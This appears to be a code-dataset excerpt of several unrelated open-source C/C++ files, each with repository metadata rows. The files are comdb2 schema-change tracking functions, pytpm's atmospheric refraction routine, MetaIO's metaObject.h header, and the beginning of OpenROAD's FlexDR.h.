the * time, but this just seemed to cause problems with replicants getting * stuck in schema change mode. Therefore we will always allow this operation * to succeed unless this is the master node, in which case the purpose of the * flag is as before to prevent 2 schema changes from running at once. * * If we are using the low level meta table then this isn't called on the * replicants at all when doing a schema change, its still called for queue or * dtastripe changes. */ int sc_set_running(struct ireq *iq, struct schema_change_type *s, char *table, int running, const char *host, time_t time, int replicant, const char *func, int line) { sc_table_t *sctbl = NULL; #ifdef DEBUG_SC printf("%s: table %s : %d from %s:%d\n", __func__, table, running, func, line); comdb2_linux_cheap_stack_trace(); #endif int rc = 0; assert(running >= 0); assert(table); Pthread_mutex_lock(&schema_change_in_progress_mutex); if (sc_tables == NULL) { sc_tables = hash_init_strcaseptr(offsetof(sc_table_t, tablename)); } assert(sc_tables); if (running && (sctbl = hash_find_readonly(sc_tables, &table)) != NULL) { logmsg(LOGMSG_ERROR, "%s sc already running against table %s\n", __func__, table); rc = -1; goto done; } if (running) { /* We are master and already found it. */ assert(!sctbl); /* These two (increment and add to hash) should stay in lockstep */ if (increment_schema_change_in_progress(func, line)) { logmsg(LOGMSG_INFO, "%s:%d aborting sc because stopsc is set\n", __func__, __LINE__); rc = -1; goto done; } sctbl = calloc(1, offsetof(sc_table_t, mem) + strlen(table) + 1); assert(sctbl); strcpy(sctbl->mem, table); sctbl->tablename = sctbl->mem; sctbl->seed = s ? s->seed : 0; sctbl->host = host ? crc32c((uint8_t *)host, strlen(host)) : 0; sctbl->time = time; hash_add(sc_tables, sctbl); if (iq) iq->sc_running++; if (s) { assert(s->set_running == 0); s->set_running = 1; } } else { /* not running */ if ((sctbl = hash_find_readonly(sc_tables, &table)) != NULL) { hash_del(sc_tables, sctbl); free(sctbl); decrement_schema_change_in_progress(func, line); if (iq) { iq->sc_running--; assert(iq->sc_running >= 0); } if (s) { assert(s->set_running == 1); s->set_running = 0; } } else { logmsg(LOGMSG_FATAL, "%s:%d unfound table %s\n", func, line, table); abort(); } } rc = 0; done: ctrace("sc_set_running(table=%s running=%d): " "gbl_schema_change_in_progress %d from %s:%d rc=%d\n", table, running, get_schema_change_in_progress(__func__, __LINE__), func, line, rc); /* I think there's a place that decrements this without waiting for * the async sc thread to complete (which is wrong) */ logmsg(LOGMSG_INFO, "sc_set_running(table=%s running=%d): from " "%s:%d rc=%d\n", table, running, func, line, rc); Pthread_mutex_unlock(&schema_change_in_progress_mutex); return rc; } void sc_assert_clear(const char *func, int line) { Pthread_mutex_lock(&schema_change_in_progress_mutex); if (gbl_schema_change_in_progress != 0) { logmsg(LOGMSG_FATAL, "%s:%d downgrading with outstanding sc\n", func, line); abort(); } Pthread_mutex_unlock(&schema_change_in_progress_mutex); } void sc_status(struct dbenv *dbenv) { unsigned int bkt; void *ent; sc_table_t *sctbl = NULL; Pthread_mutex_lock(&schema_change_in_progress_mutex); if (sc_tables) sctbl = hash_first(sc_tables, &ent, &bkt); while (gbl_schema_change_in_progress && sctbl) { const char *mach = get_hostname_with_crc32(thedb->bdb_env, sctbl->host); time_t timet = sctbl->time; struct tm tm; localtime_r(&timet, &tm); logmsg(LOGMSG_USER, "-------------------------\n"); logmsg(LOGMSG_USER, "Schema change in progress for table %s " "with seed %0#16" PRIx64 "\n", sctbl->tablename, flibc_htonll(sctbl->seed)); logmsg(LOGMSG_USER, "(Started on node %s at %04d-%02d-%02d %02d:%02d:%02d)\n", mach ? mach : "(unknown)", tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); struct dbtable *db = get_dbtable_by_name(sctbl->tablename); if (db && db->doing_conversion) logmsg(LOGMSG_USER, "Conversion phase running %" PRId64 " converted\n", db->sc_nrecs); else if (db && db->doing_upgrade) logmsg(LOGMSG_USER, "Upgrade phase running %" PRId64 " upgraded\n", db->sc_nrecs); logmsg(LOGMSG_USER, "-------------------------\n"); sctbl = hash_next(sc_tables, &ent, &bkt); } if (!gbl_schema_change_in_progress) { logmsg(LOGMSG_USER, "schema change running NO\n"); } Pthread_mutex_unlock(&schema_change_in_progress_mutex); } void reset_sc_stat() { gbl_sc_abort = 0; } /* Turn off live schema change. This HAS to be done while holding the exclusive * lock, and it has to be done BEFORE we try to recover from a failed schema * change (removing temp tables etc). */ void live_sc_off(struct dbtable *db) { #ifdef DEBUG logmsg(LOGMSG_INFO, "live_sc_off()\n"); #endif Pthread_rwlock_wrlock(&db->sc_live_lk); db->sc_to = NULL; db->sc_from = NULL; db->sc_abort = 0; db->sc_downgrading = 0; db->sc_adds = 0; db->sc_updates = 0; db->sc_deletes = 0; db->sc_nrecs = 0; db->sc_prev_nrecs = 0; db->doing_conversion = 0; Pthread_rwlock_unlock(&db->sc_live_lk); } void sc_set_downgrading(struct schema_change_type *s) { struct ireq iq = {0}; tran_type *tran = NULL; init_fake_ireq(thedb, &iq); iq.usedb = s->db; trans_start(&iq, NULL, &tran); if (tran == NULL) { logmsg(LOGMSG_FATAL, "%s: failed to start tran\n", __func__); abort(); } /* make sure no one writes to the table */ bdb_lock_table_write(s->db->handle, tran); Pthread_rwlock_wrlock(&s->db->sc_live_lk); /* live_sc_post* code will look at this and return errors properly */ s->db->sc_downgrading = 1; s->db->sc_to = NULL; s->db->sc_from = NULL; s->db->sc_abort = 0; s->db->doing_conversion = 0; Pthread_rwlock_unlock(&s->db->sc_live_lk); if (s->db->sc_live_logical) { int rc = bdb_clear_logical_live_sc(s->db->handle, 0 /* already locked */); if (rc) { logmsg(LOGMSG_ERROR, "%s: failed to clear logical live sc\n", __func__); } } trans_abort(&iq, tran); } int is_table_in_schema_change(const char *tbname, tran_type *tran) { int bdberr; void *packed_sc_data = NULL; size_t packed_sc_data_len; int rc = 0; rc = bdb_get_in_schema_change(tran, tbname, &packed_sc_data, &packed_sc_data_len, &bdberr); if (rc || bdberr != BDBERR_NOERROR) { logmsg(LOGMSG_ERROR, "%s: failed to read llmeta\n", __func__); return -1; } if (packed_sc_data) { struct schema_change_type *s = new_schemachange_type(); if (s == NULL) { logmsg(LOGMSG_ERROR, "%s: out of memory\n", __func__); return -1; } rc = unpack_schema_change_type(s, packed_sc_data, packed_sc_data_len); if (rc) { logmsg(LOGMSG_ERROR, "%s: failed to unpack schema change\n", __func__); return -1; } rc = (strcasecmp(tbname, s->tablename) == 0); free(packed_sc_data); free_schema_change_type(s); return rc; } return 0; } void sc_set_logical_redo_lwm(char *table, unsigned int file) { sc_table_t *sctbl = NULL; Pthread_mutex_lock(&schema_change_in_progress_mutex); assert(sc_tables); sctbl = hash_find_readonly(sc_tables, &table); assert(sctbl); sctbl->logical_lwm = file; Pthread_mutex_unlock(&schema_change_in_progress_mutex); } unsigned int sc_get_logical_redo_lwm() { unsigned int bkt; void *ent; sc_table_t *sctbl = NULL; unsigned int lwm = 0; if (!gbl_logical_live_sc) return 0; Pthread_mutex_lock(&schema_change_in_progress_mutex); if (sc_tables) sctbl = hash_first(sc_tables, &ent, &bkt); while (gbl_schema_change_in_progress && sctbl) { if (lwm == 0 || sctbl->logical_lwm < lwm) lwm = sctbl->logical_lwm; sctbl = hash_next(sc_tables, &ent, &bkt); } Pthread_mutex_unlock(&schema_change_in_progress_mutex); return lwm - 1; } unsigned int sc_get_logical_redo_lwm_table(char *table) { sc_table_t *sctbl = NULL; unsigned int lwm = 0; if (!gbl_logical_live_sc) return 0; Pthread_mutex_lock(&schema_change_in_progress_mutex); assert(sc_tables); sctbl = hash_find_readonly(sc_tables, &table); if (sctbl) lwm = sctbl->logical_lwm; Pthread_mutex_unlock(&schema_change_in_progress_mutex); return lwm; } uint64_t sc_get_seed_table(char *table) { sc_table_t *sctbl = NULL; uint64_t seed = 0; Pthread_mutex_lock(&schema_change_in_progress_mutex); if (sc_tables) { sctbl = hash_find_readonly(sc_tables, &table); if (sctbl) seed = sctbl->seed; } Pthread_mutex_unlock(&schema_change_in_progress_mutex); return seed; } void add_ongoing_alter(struct schema_change_type *sc) { assert(sc->alteronly != SC_ALTER_NONE); Pthread_mutex_lock(&ongoing_alter_mtx); if (ongoing_alters == NULL) { ongoing_alters = hash_init_strcase(offsetof(struct schema_change_type, tablename)); } hash_add(ongoing_alters, sc); Pthread_mutex_unlock(&ongoing_alter_mtx); } void remove_ongoing_alter(struct schema_change_type *sc) { assert(sc->alteronly != SC_ALTER_NONE); Pthread_mutex_lock(&ongoing_alter_mtx); if (ongoing_alters != NULL) { hash_del(ongoing_alters, sc); } Pthread_mutex_unlock(&ongoing_alter_mtx); } struct schema_change_type *find_ongoing_alter(char *table) { struct schema_change_type *s = NULL; Pthread_mutex_lock(&ongoing_alter_mtx); if (ongoing_alters != NULL) { s = hash_find_readonly(ongoing_alters, table); } Pthread_mutex_unlock(&ongoing_alter_mtx); return s; } struct schema_change_type *preempt_ongoing_alter(char *table, int action) { struct schema_change_type *s = NULL; Pthread_mutex_lock(&ongoing_alter_mtx); if (ongoing_alters != NULL) { s = hash_find_readonly(ongoing_alters, table); if (s) { int ok = 0; switch (action) { default: break; case SC_ACTION_PAUSE: if (s->preempted != SC_ACTION_PAUSE) ok = 1; if (s->alteronly == SC_ALTER_PENDING) s->alteronly = SC_ALTER_ONLY; break; case SC_ACTION_RESUME: if (s->preempted == SC_ACTION_PAUSE) ok = 1; break; case SC_ACTION_COMMIT: if (s->preempted == SC_ACTION_PAUSE || s->preempted == SC_ACTION_RESUME) ok = 1; else if (s->alteronly == SC_ALTER_PENDING) { s->alteronly = SC_ALTER_ONLY; ok = 1; } break; case SC_ACTION_ABORT: ok = 1; if (s->alteronly == SC_ALTER_PENDING) s->alteronly = SC_ALTER_ONLY; break; } if (ok) { s->preempted = action; hash_del(ongoing_alters, s); } else { s = NULL; } } } Pthread_mutex_unlock(&ongoing_alter_mtx); return s; } void clear_ongoing_alter() { Pthread_mutex_lock(&ongoing_alter_mtx); if (ongoing_alters != NULL) { hash_clear(ongoing_alters); } Pthread_mutex_unlock(&ongoing_alter_mtx); }
31.68779
80
0.626622
[ "render" ]
5ca6e19dc2bc65f6c766e76c3a16f782ad554916
8,473
c
C
src/tpm/refraction.c
cdeil/pytpm
02d149355b20eaed09805865948805e982c46bf2
[ "BSD-3-Clause" ]
2
2019-12-23T02:03:25.000Z
2020-05-30T14:11:05.000Z
src/tpm/refraction.c
cdeil/pytpm
02d149355b20eaed09805865948805e982c46bf2
[ "BSD-3-Clause" ]
1
2016-04-03T03:54:12.000Z
2016-04-03T03:54:12.000Z
src/tpm/refraction.c
astrojuanlu/pytpm
eb995ad10e2564da5e5c569df902eb267969d13c
[ "BSD-3-Clause" ]
1
2020-12-06T22:40:28.000Z
2020-12-06T22:40:28.000Z
/* file: $RCSfile: refraction.c,v $ ** rcsid: $Id: refraction.c 261 2007-10-19 19:07:02Z laidler $ ** Copyright Jeffrey W Percival ** ******************************************************************* ** Space Astronomy Laboratory ** University of Wisconsin ** 1150 University Avenue ** Madison, WI 53706 USA ** ******************************************************************* ** Do not use this software without attribution. ** Do not remove or alter any of the lines above. ** ******************************************************************* */ /* ** ******************************************************************* ** $RCSfile: refraction.c,v $ ** full refraction calculation from Exp. Supp. p. 140 ** this is similar to Pat Wallace's slalib routine sla_refro(). ** ******************************************************************* */ #include "astro.h" #undef DEBUG /* universal gas constant */ #define R (8314.36) /* molecular weight of dry air */ #define MD (28.966) /* molecular weight of water vapor */ #define MW (18.016) /* exponent of temperature dependence of water vapor pressure */ #define DELTA (18.36) /* mean radius of the earth in meters */ #define RE (6378120) /* altitude of the tropopause in meters */ #define HT (11000) /* upper edge of the stratosphere in meters */ #define HS (80000) /* canonical tropospheric lapse rate of temperature in K/m */ #define ALPHA (0.0065) /* the refraction integrand */ #define F(r,n,dndr) (((r) * (dndr)) / ((n) + (r) * (dndr))) /* snell's law */ #define SNELL(r0,n0,z0,r,n) (asin(((r0)*(n0)*sin(z0))/((r)*(n)))) /* here we define static variables that are shared between functions */ static double C1 = 0; static double C2 = 0; static double C3 = 0; static double C4 = 0; static double C5 = 0; static double C6 = 0; static double C7 = 0; static double C8 = 0; static double C9 = 0; static double T0; /* T at the observer */ static double Tt; /* T in the troposphere at the tropopause */ static double dndr0; /* dndr at the observer */ static double dndrs; /* dndr at the stratopause */ static double dndrt; /* dndr in the troposphere at the tropopause */ static double dndrts; /* dndr in the stratosphere at the tropopause */ static double n0; /* n at the observer */ static double ns; /* n at the stratopause */ static double nt; /* n in the troposphere at the tropopause */ static double nts; /* n in the stratosphere at the tropopause */ static double r0; /* r at the observer */ static double rs; /* r at the stratopause */ static double rt; /* r in the troposphere at the tropopause */ static double rts; /* r in the stratosphere at the tropopause */ static double z0; /* z at the observer */ static double zs; /* z at the stratopause */ static double zt; /* z in the troposphere at the tropopause */ static double zts; /* z in the stratosphere at the tropopause */ /* this routine implements the model atmosphere */ void atm(double r, double *n, double *dndr) { double T; /* the temperature at r */ /* enforce some limits on r */ if (r < r0) { r = r0; } else if (r > (RE+HS)) { r = (RE+HS); } if (r <= (RE+HT)) { /* we're in the troposphere */ T = T0 - C1 * (r - r0); *n = 1 + (C6 * pow(T/T0, C3-2) - C7 * pow(T/T0,C4-2)) * (T/T0); *dndr = -C8 * pow(T/T0, C3-2) + C9 * pow(T/T0, C4-2); } else { /* we're in the stratosphere */ Tt = T0 - C1 * (rt - r0); *n = 1 + (nt - 1) * exp(-C2 * (r - rt)/Tt); *dndr = -(C2 / Tt) * (nt - 1) * exp(-C2 * (r - rt)/Tt); } #ifdef DEBUG (void)fprintf(stdout, "atm: r %.15e\n", r); (void)fprintf(stdout, "atm: T %.15e\n", T); (void)fprintf(stdout, "atm: *n %.15e\n", *n); (void)fprintf(stdout, "atm: *dndr %.15e\n", *dndr); #endif return; } /* this is the function of z to be passed to the quadrature routine. ** given a value of z, we must compute ** 1. r(z) using a newton-raphson iteration of snell's law ** 2. n(r) using the 2 component model atmosphere ** 3. dndr(r) using the 2 component model atmosphere ** 4. f(r,n,dndr), the desired result */ #ifdef DEBUG static int n_func = 0; #endif double func(double z) { double dndr; double f; double n; int i; static double r = (RE+HT); #ifdef DEBUG (void)fprintf(stdout, "func: z %.15e r %.15e\n", z, r); #endif for (i = 0; i < 4; i++) { atm(r, &n, &dndr); #ifdef DEBUG (void)fprintf(stdout, "func: i %d\n", i); (void)fprintf(stdout, "func: r %.15e\n", r); (void)fprintf(stdout, "func: n %.15e\n", n); (void)fprintf(stdout, "func: dndr %.15e\n", dndr); #endif r -= (r*n - r0*n0*sin(z0)/sin(z)) / (n + r*dndr); #ifdef DEBUG (void)fprintf(stdout, "func: i %d new r %.15e\n", i, r); #endif } f = F(r, n, dndr); #ifdef DEBUG (void)fprintf(stdout, "func: f %.15e\n", f); n_func++; #endif return(f); } double refraction(double zobs, double lat, double alt, double T, double P, double rh, double lambda, double eps) { double A; double Pw0; double gbar; double ref; /* total refraction */ double refs; /* startospheric refraction */ double reft; /* tropospheric refraction */ int imax = 24; #ifdef DEBUG (void)fprintf(stdout, "refraction: zobs %.15e\n", zobs); #endif /* compute the model coefficients */ T0 = T; gbar = 9.784 * (1 - 0.0026*cos(2*lat) - 0.00000028 * alt); A = 287.604 + ((1.6288 + 0.0136/(lambda*lambda)) / (lambda*lambda)); A *= (273.15e-6 / 1013.25); C1 = ALPHA; C2 = gbar * MD / R; C3 = C2 / C1; C4 = DELTA; Pw0 = rh * pow((T0 / 247.1), C4); C5 = Pw0 * (1 - MW/MD) * C3 / (C4 - C3); C6 = A * (P + C5) / T0; C7 = (A * C5 + 11.2684e-6 * Pw0) / T0; C8 = C1 * (C3 - 1) * C6 / T0; C9 = C1 * (C4 - 1) * C7 / T0; #ifdef DEBUG (void)fprintf(stdout, "x_refco: Pw0 %.15e\n", Pw0); (void)fprintf(stdout, "x_refco: gbar %.15e\n", gbar); (void)fprintf(stdout, "x_refco: A %.15e\n", A); (void)fprintf(stdout, "x_refco: C1 %.15e\n", C1); (void)fprintf(stdout, "x_refco: C2 %.15e\n", C2); (void)fprintf(stdout, "x_refco: C3 %.15e\n", C3); (void)fprintf(stdout, "x_refco: C4 %.15e\n", C4); (void)fprintf(stdout, "x_refco: C5 %.15e\n", C5); (void)fprintf(stdout, "x_refco: C6 %.15e\n", C6); (void)fprintf(stdout, "x_refco: C7 %.15e\n", C7); (void)fprintf(stdout, "x_refco: C8 %.15e\n", C8); (void)fprintf(stdout, "x_refco: C9 %.15e\n", C9); #endif /* compute the limits of integration */ r0 = RE + alt; atm(r0, &n0, &dndr0); z0 = zobs; #ifdef DEBUG (void)fprintf(stdout, "refraction: r0 %.15e\n", r0); (void)fprintf(stdout, "refraction: n0 %.15e\n", n0); (void)fprintf(stdout, "refraction: dndr0 %.15e\n", dndr0); (void)fprintf(stdout, "refraction: z0 %.15e\n", z0); #endif rt = (RE+HT) - 0.001; atm(rt, &nt, &dndrt); zt = SNELL(r0, n0, z0, rt, nt); #ifdef DEBUG (void)fprintf(stdout, "refraction: rt %.15e\n", rt); (void)fprintf(stdout, "refraction: nt %.15e\n", nt); (void)fprintf(stdout, "refraction: dndrt %.15e\n", dndrt); (void)fprintf(stdout, "refraction: zt %.15e\n", zt); #endif rts = (RE+HT) + 0.001; atm(rts, &nts, &dndrts); zts = SNELL(r0, n0, z0, rts, nts); #ifdef DEBUG (void)fprintf(stdout, "refraction: rts %.15e\n", rts); (void)fprintf(stdout, "refraction: nts %.15e\n", nts); (void)fprintf(stdout, "refraction: dndrts %.15e\n", dndrts); (void)fprintf(stdout, "refraction: zts %.15e\n", zts); #endif rs = (RE+HS); atm(rs, &ns, &dndrs); zs = SNELL(r0, n0, z0, rs, ns); #ifdef DEBUG (void)fprintf(stdout, "refraction: rs %.15e\n", rs); (void)fprintf(stdout, "refraction: ns %.15e\n", ns); (void)fprintf(stdout, "refraction: dndrs %.15e\n", dndrs); (void)fprintf(stdout, "refraction: zs %.15e\n", zs); #endif /* evaluate the integral through the troposphere */ #ifdef DEBUG n_func = 0; #endif reft = qromb(func, z0, zt, eps, imax); #ifdef DEBUG (void)fprintf(stdout, "refraction: n_func(t) %d\n", n_func); #endif /* evaluate the integral through the stratosphere */ #ifdef DEBUG n_func = 0; #endif refs = qromb(func, zts, zs, eps, imax); #ifdef DEBUG (void)fprintf(stdout, "refraction: n_func(s) %d\n", n_func); #endif ref = reft + refs; #ifdef DEBUG (void)fprintf(stdout, "refraction: reft %.15e\n", reft); (void)fprintf(stdout, "refraction: refs %.15e\n", refs); (void)fprintf(stdout, "refraction: ref %.15e\n", ref); #endif return(ref); }
29.318339
105
0.585743
[ "model" ]
5ca898cc27cc5f3fa64b1fac769556337e6ed5aa
10,635
h
C
src/metaObject.h
hjmjohnson/MetaIO
21a9e92baba53604be5fcbe3b5b200b106387ad3
[ "BSD-3-Clause" ]
null
null
null
src/metaObject.h
hjmjohnson/MetaIO
21a9e92baba53604be5fcbe3b5b200b106387ad3
[ "BSD-3-Clause" ]
null
null
null
src/metaObject.h
hjmjohnson/MetaIO
21a9e92baba53604be5fcbe3b5b200b106387ad3
[ "BSD-3-Clause" ]
null
null
null
/*============================================================================ MetaIO Copyright 2000-2010 Insight Software Consortium Distributed under the OSI-approved BSD License (the "License"); see accompanying file Copyright.txt for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the License for more information. ============================================================================*/ #include "metaTypes.h" #ifndef ITKMetaIO_METAOBJECT_H # define ITKMetaIO_METAOBJECT_H # include "metaUtils.h" # include "metaEvent.h" # include <string> # ifdef _MSC_VER # pragma warning(disable : 4251) # endif # if (METAIO_USE_NAMESPACE) namespace METAIO_NAMESPACE { # endif class METAIO_EXPORT MetaObject { // PROTECTED protected: typedef std::vector<MET_FieldRecordType *> FieldsContainerType; std::ifstream * m_ReadStream; std::ofstream * m_WriteStream; FieldsContainerType m_Fields; FieldsContainerType m_UserDefinedWriteFields; FieldsContainerType m_UserDefinedReadFields; FieldsContainerType m_AdditionalReadFields; std::string m_FileName; char m_Comment[255]; // "Comment = " "" char m_ObjectTypeName[255]; // "ObjectType = " defined by suffix char m_ObjectSubTypeName[255]; // "ObjectSubType = " defined by suffix int m_NDims; // "NDims = " required double m_Offset[10]; // "Offset = " 0,0,0 double m_TransformMatrix[100]; // "TransformMatrix = " 1,0,0,0,1,0,0,0,1 double m_CenterOfRotation[10]; // "CenterOfRotation = " 0 0 0 MET_OrientationEnumType m_AnatomicalOrientation[10]; mutable char m_OrientationAcronym[10]; MET_DistanceUnitsEnumType m_DistanceUnits; // "DistanceUnits = mm" double m_ElementSpacing[10]; // "ElementSpacing = " 0,0,0 float m_Color[4]; // "Color = " 1.0, 0.0, 0.0, 1.0 char m_AcquisitionDate[255]; // "AcquisitionDate = " "2007.03.21" int m_ID; // "ID = " 0 int m_ParentID; // "ParentID = " -1 char m_Name[255]; // "Name = " "" bool m_BinaryData; // "BinaryData = " False bool m_BinaryDataByteOrderMSB; std::streamoff m_CompressedDataSize; // Used internally to set if the dataSize should be written bool m_WriteCompressedDataSize; bool m_CompressedData; int m_CompressionLevel; virtual void M_Destroy(void); virtual void M_SetupReadFields(void); virtual void M_SetupWriteFields(void); virtual bool M_Read(void); virtual bool M_Write(void); virtual void M_PrepareNewReadStream(); MetaEvent * m_Event; // MET_FieldRecordType * M_GetFieldRecord(const char * _fieldName); // int M_GetFieldRecordNumber(const char * _fieldName); unsigned int m_DoublePrecision; // PUBLIC public: // Constructors & Destructor MetaObject(void); MetaObject(const char * _fileName); MetaObject(unsigned int dim); virtual ~MetaObject(void); void FileName(const char * _fileName); const char * FileName(void) const; virtual void CopyInfo(const MetaObject * _object); bool Read(const char * _fileName = nullptr); bool ReadStream(int _nDims, std::ifstream * _stream); bool Write(const char * _fileName = nullptr); virtual bool Append(const char * _headName = nullptr); // Common fields // PrintMetaInfo() // Writes image parameters to stdout virtual void PrintInfo(void) const; // Comment(...) // Optional Field // Arbitrary string const char * Comment(void) const; void Comment(const char * _comment); const char * ObjectTypeName(void) const; void ObjectTypeName(const char * _objectTypeName); const char * ObjectSubTypeName(void) const; void ObjectSubTypeName(const char * _objectSubTypeName); // NDims() // REQUIRED Field // Number of dimensions to the image int NDims(void) const; // Offset(...) // Optional Field // Physical location (in millimeters and wrt machine coordinate // system or the patient) of the first element in the image const double * Offset(void) const; double Offset(int _i) const; void Offset(const double * _position); void Offset(int _i, double _value); const double * Position(void) const; double Position(int _i) const; void Position(const double * _position); void Position(int _i, double _value); const double * Origin(void) const; double Origin(int _i) const; void Origin(const double * _position); void Origin(int _i, double _value); // TransformMatrix(...) // Optional Field // Physical orientation of the object as an NDims x NDims matrix const double * TransformMatrix(void) const; double TransformMatrix(int _i, int _j) const; void TransformMatrix(const double * _orientation); void TransformMatrix(int _i, int _j, double _value); const double * Rotation(void) const; double Rotation(int _i, int _j) const; void Rotation(const double * _orientation); void Rotation(int _i, int _j, double _value); const double * Orientation(void) const; double Orientation(int _i, int _j) const; void Orientation(const double * _orientation); void Orientation(int _i, int _j, double _value); const double * CenterOfRotation(void) const; double CenterOfRotation(int _i) const; void CenterOfRotation(const double * _position); void CenterOfRotation(int _i, double _value); const char * DistanceUnitsName(void) const; MET_DistanceUnitsEnumType DistanceUnits(void) const; void DistanceUnits(MET_DistanceUnitsEnumType _distanceUnits); void DistanceUnits(const char * _distanceUnits); const char * AnatomicalOrientationAcronym(void) const; const MET_OrientationEnumType * AnatomicalOrientation(void) const; MET_OrientationEnumType AnatomicalOrientation(int _dim) const; void AnatomicalOrientation(const char * _ao); void AnatomicalOrientation(const MET_OrientationEnumType * _ao); void AnatomicalOrientation(int _dim, MET_OrientationEnumType _ao); void AnatomicalOrientation(int _dim, char _ao); // ElementSpacing(...) // Optional Field // Physical Spacing (in same units as position) const double * ElementSpacing(void) const; double ElementSpacing(int _i) const; void ElementSpacing(const double * _elementSpacing); void ElementSpacing(const float * _elementSpacing); void ElementSpacing(int _i, double _value); // Name(...) // Optional Field // Name of the current metaObject void Name(const char * _name); const char * Name(void) const; // Color(...) // Optional Field // Color of the current metaObject const float * Color(void) const; void Color(float _r, float _g, float _b, float _a); void Color(const float * _color); // ID(...) // Optional Field // ID number of the current metaObject void ID(int _id); int ID(void) const; // ParentID(...) // Optional Field // ID number of the parent metaObject void ParentID(int _parentId); int ParentID(void) const; // AcquisitionDate(...) // Optional Field // YYYY.MM.DD is the recommended format void AcquisitionDate(const char * _acquisitionDate); const char * AcquisitionDate(void) const; // BinaryData(...) // Optional Field // Data is binary or not void BinaryData(bool _binaryData); bool BinaryData(void) const; void BinaryDataByteOrderMSB(bool _elementByteOrderMSB); bool BinaryDataByteOrderMSB(void) const; void CompressedData(bool _compressedData); bool CompressedData(void) const; // Compression level 0-9. 0 = no compression. void CompressionLevel(int _compressionLevel); int CompressionLevel() const; virtual void Clear(void); void ClearFields(void); void ClearAdditionalFields(void); bool InitializeEssential(int _nDims); // User's field definitions bool AddUserField(const char * _fieldName, MET_ValueEnumType _type, int _length = 0, bool _required = true, int _dependsOn = -1); // find a field record in a field vector MET_FieldRecordType * FindFieldRecord(FieldsContainerType & container, const char * fieldName) { FieldsContainerType::iterator it; for (it = container.begin(); it != container.end(); ++it) { if (strcmp((*it)->name, fieldName) == 0) { return (*it); } } return nullptr; } // Add a user's field template <class T> bool AddUserField(const char * _fieldName, MET_ValueEnumType _type, int _length, T * _v, bool _required = true, int _dependsOn = -1) { // don't add the same field twice. In the unlikely event // a field of the same name gets added more than once, // over-write the existing FieldRecord bool duplicate(true); MET_FieldRecordType * mFw = this->FindFieldRecord(m_UserDefinedWriteFields, _fieldName); if (mFw == nullptr) { duplicate = false; mFw = new MET_FieldRecordType; } MET_InitWriteField(mFw, _fieldName, _type, _length, _v); if (!duplicate) { m_UserDefinedWriteFields.push_back(mFw); } duplicate = true; MET_FieldRecordType * mFr = this->FindFieldRecord(m_UserDefinedReadFields, _fieldName); if (mFr == nullptr) { duplicate = false; mFr = new MET_FieldRecordType; } MET_InitReadField(mFr, _fieldName, _type, _required, _dependsOn, _length); if (!duplicate) { m_UserDefinedReadFields.push_back(mFr); } return true; } // Clear UserFields void ClearUserFields(); // Get the user field void * GetUserField(const char * _name); int GetNumberOfAdditionalReadFields(); char * GetAdditionalReadFieldName(int i); char * GetAdditionalReadFieldValue(int i); int GetAdditionalReadFieldValueLength(int i); void SetEvent(MetaEvent * event) { m_Event = event; } // Set the double precision for writing void SetDoublePrecision(unsigned int precision) { m_DoublePrecision = precision; } unsigned int GetDoublePrecision() { return m_DoublePrecision; } }; # if (METAIO_USE_NAMESPACE) }; # endif #endif
23.169935
92
0.657264
[ "object", "vector" ]
5cac18657c6fbaf257f08a13f51548be86f6c3d9
34,892
h
C
src/drt/src/dr/FlexDR.h
maliberty/OpenROAD
9cce960450f2049508f8ac4ae6c7e92af15f91b7
[ "BSD-3-Clause" ]
1
2021-05-23T10:32:24.000Z
2021-05-23T10:32:24.000Z
src/drt/src/dr/FlexDR.h
maliberty/OpenROAD
9cce960450f2049508f8ac4ae6c7e92af15f91b7
[ "BSD-3-Clause" ]
null
null
null
src/drt/src/dr/FlexDR.h
maliberty/OpenROAD
9cce960450f2049508f8ac4ae6c7e92af15f91b7
[ "BSD-3-Clause" ]
null
null
null
/* Authors: Lutong Wang and Bangqi Xu */ /* * Copyright (c) 2019, The Regents of the University of California * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the University nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef _FR_FLEXDR_H_ #define _FR_FLEXDR_H_ #include <boost/polygon/polygon.hpp> #include <deque> #include <memory> #include "db/drObj/drMarker.h" #include "db/drObj/drNet.h" #include "dr/FlexDR_graphics.h" #include "dr/FlexGridGraph.h" #include "dr/FlexWavefront.h" #include "frDesign.h" #include "gc/FlexGC.h" using Rectangle = boost::polygon::rectangle_data<int>; namespace odb { class dbDatabase; } namespace ord { class Logger; } namespace fr { class frConstraint; struct FlexDRViaData { // std::pair<layer1area, layer2area> std::vector<std::pair<frCoord, frCoord>> halfViaEncArea; // via2viaMinLen[z][0], last via=down, curr via=down // via2viaMinLen[z][1], last via=down, curr via=up // via2viaMinLen[z][2], last via=up, curr via=down // via2viaMinLen[z][3], last via=up, curr via=up std::vector<std::pair<std::vector<frCoord>, std::vector<bool>>> via2viaMinLen; // via2viaMinLen[z][0], prev via=down, curr via=down, min required x dist // via2viaMinLen[z][1], prev via=down, curr via=down, min required y dist // via2viaMinLen[z][2], prev via=down, curr via=up, min required x dist // via2viaMinLen[z][3], prev 